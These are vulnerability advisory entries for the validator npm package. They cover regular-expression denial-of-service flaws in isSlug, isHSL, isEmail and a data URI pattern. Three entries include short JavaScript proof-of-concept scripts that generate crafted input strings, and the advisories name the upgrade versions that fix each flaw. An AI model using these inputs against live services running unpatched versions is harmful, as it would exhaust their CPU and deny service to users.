Regular Expression Denial of Service (ReDoS)org.webjars.npm:validator is an A library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "111"
for (var i = 0; i < n; i++) {
ret += "a"
}
return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isSlug(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
How to fix Regular Expression Denial of Service (ReDoS)? Upgrade org.webjars.npm:validator to version 13.7.0 or higher.
| |
Regular Expression Denial of Service (ReDoS)org.webjars.npm:validator is an A library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = "hsla(0"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isHSL(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
How to fix Regular Expression Denial of Service (ReDoS)? Upgrade org.webjars.npm:validator to version 13.6.0 or higher.
| |
Regular Expression Denial of Service (ReDoS)org.webjars.npm:validator is an A library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.
PoC
var validator = require("validator")
function build_attack(n) {
var ret = ""
for (var i = 0; i < n; i++) {
ret += "<"
}
return ret+"";
}
for(var i = 1; i <= 50000; i++) {
if (i % 10000 == 0) {
var time = Date.now();
var attack_str = build_attack(i)
validator.isEmail(attack_str,{ allow_display_name: true })
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
How to fix Regular Expression Denial of Service (ReDoS)? Upgrade org.webjars.npm:validator to version 13.6.0 or higher.
| |
Regular Expression Denial of Service (ReDoS)org.webjars.npm:validator is an A library of string validators and sanitizers.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\s*data:([a-z]+\/[a-z0-9\-\+]+(;[a-z\-]+=[a-z0-9\-]+)?)?(;base64)?,[a-z0-9!\$&',\(\)\*\+,;=\-\._~:@\/\?%\s]*\s*$ ) in order to validate Data URIs. This can cause an impact of about 10 seconds matching time for data 70K characters long.
How to fix Regular Expression Denial of Service (ReDoS)? Upgrade org.webjars.npm:validator to version 9.4.1 or higher.
| |